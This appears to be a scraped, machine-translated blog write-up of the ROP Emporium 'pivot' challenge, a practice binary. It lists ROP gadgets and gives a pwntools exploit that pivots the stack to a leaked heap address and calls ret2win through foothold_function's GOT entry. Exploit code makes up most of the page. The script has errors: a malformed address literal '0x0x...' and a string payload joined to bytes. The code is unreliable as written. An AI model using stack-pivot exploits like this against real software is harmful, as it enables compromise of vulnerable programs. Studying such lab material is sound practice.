当前位置:网站首页>pivot ROP Emporium
pivot ROP Emporium
2022-07-03 21:51:00 【Brandy King】
open ida, Found a heap space , And tell us the address , It seems that we should make use of stack space
open .so file , There is still a function that can open files
But the function's plt It didn't show up , That is to say, we cannot directly use
Here is a function that gives a hint , Prompt us , utilize function Of .plt Indirect access ret2win The address of
Next, let's try to run it once function Of plt, send got Table update , And then got Address after table update , Put the content on the heap , Then use stack offset to run to the heap .payload1 It's in the pile ,payload2 It's in the stack .
0x00000000004006b0 : call rax
0x00000000004009c0 : mov rax, qword ptr [rax] ; ret
0x00000000004009c4 : add rax, rbp ; ret
0x00000000004009bb : pop rax ; ret
0x00000000004007c8 : pop rbp ; ret
0x00000000004009bd : xchg rax, rsp ; ret
from pwn import *
binary = "./pivot"
io = process(binary)
elf = ELF(binary)
lib = ELF("./libpivot.so")
leave_ret=0x0x0000000000400740
pop_rax = 0x4009bb
pop_rbp = 0x4007c8
mov_rax_rax = 0x4009c0
add_rax_rbp = 0x4009c4
call_rax = 0x4006b0
foothold_plt = elf.plt['foothold_function']
foothold_got = elf.got['foothold_function']
offset = int(lib.sym['ret2win']-lib.sym['foothold_function'])
leakaddr = u64(io.recv(6).ljust(8,b'\x00'))
payload_1 = p64(foothold_plt)
payload_1 += p64(pop_rax)
payload_1 += p64(foothold_got)
payload_1 += p64(mov_rax_rax)
payload_1 += p64(pop_rbp)
payload_1 += p64(offset)
payload_1 += p64(add_rax_rbp)
payload_1 += p64(call_rax)
io.sendline(payload_1)
payload_2 = "a" * 32
payload_2 += p64(leave_ret)
payload_2 += p64(leakaddr-8)
io.recvuntil(">")
io.sendline(payload_2)
print (io.recvall())
边栏推荐
- Go language slice interview real question 7 consecutive questions
- Investment planning analysis and prospect prediction report of China's satellite application industry during the 14th five year plan Ⓑ 2022 ~ 2028
- Global and Chinese market of wireless hard disk 2022-2028: Research Report on technology, participants, trends, market size and share
- Getting started with postman -- environment variables and global variables
- Capturing and sorting out external articles -- autoresponder, composer, statistics [III]
- MySQL——规范数据库设计
- QFileDialog
- Idea shortcut word operation
- Netfilter ARP log
- Analysis report on the development trend and Prospect of global and Chinese supercontinuum laser source industry Ⓚ 2022 ~ 2027
猜你喜欢
Station B, dark horse programmer, employee management system, access conflict related (there is an unhandled exception at 0x00007ff633a4c54d (in employee management system.Exe): 0xc0000005: read locat
Goodbye 2021, how do programmers go to the top of the disdain chain?
The latest analysis of R1 quick opening pressure vessel operation in 2022 and the examination question bank of R1 quick opening pressure vessel operation
Getting started with postman -- built-in dynamic parameters, custom parameters and assertions
A little understanding of GSLB (global server load balance) technology
Borui data and Sina Finance released the 2021 credit card industry development report
Why use pycharm to run the use case successfully but cannot exit?
MySQL - idea connects to MySQL
90 后,辞职创业,说要卷死云数据库
Single page application architecture
随机推荐
Leetcode problem solving - 235 Nearest common ancestor of binary search tree
Dynamic research and future planning analysis report of China's urban water supply industry Ⓝ 2022 ~ 2028
Advanced collaboration: coroutinecontext
The White House held an open source security summit, attended by many technology giants
TiDB 之 TiCDC6.0 初体验
Analysis report on the development prospect and investment strategy of global and Chinese modular automation systems Ⓟ 2022 ~ 2027
Compréhension de la technologie gslb (Global Server load balance)
Analysis report on the development trend and Prospect of global and Chinese supercontinuum laser source industry Ⓚ 2022 ~ 2027
Solve the problem that openocd fails to burn STM32 and cannot connect through SWD
Market layout planning and latest dynamic analysis report of China's smart public security industry Ⓕ 2022 ~ 2028
Remember the experience of automatically jumping to spinach station when the home page was tampered with
Qualcomm platform WiFi -- P2P issue
MySQL——SQL注入问题
90 后,辞职创业,说要卷死云数据库
Yiwen teaches you how to choose your own NFT trading market
十大券商开户注册安全靠谱吗?有没有风险的?
DOM light switch case
Persistence of Nacos
Getting started with postman -- built-in dynamic parameters, custom parameters and assertions
flink sql-client 退出,表就会被清空怎么办?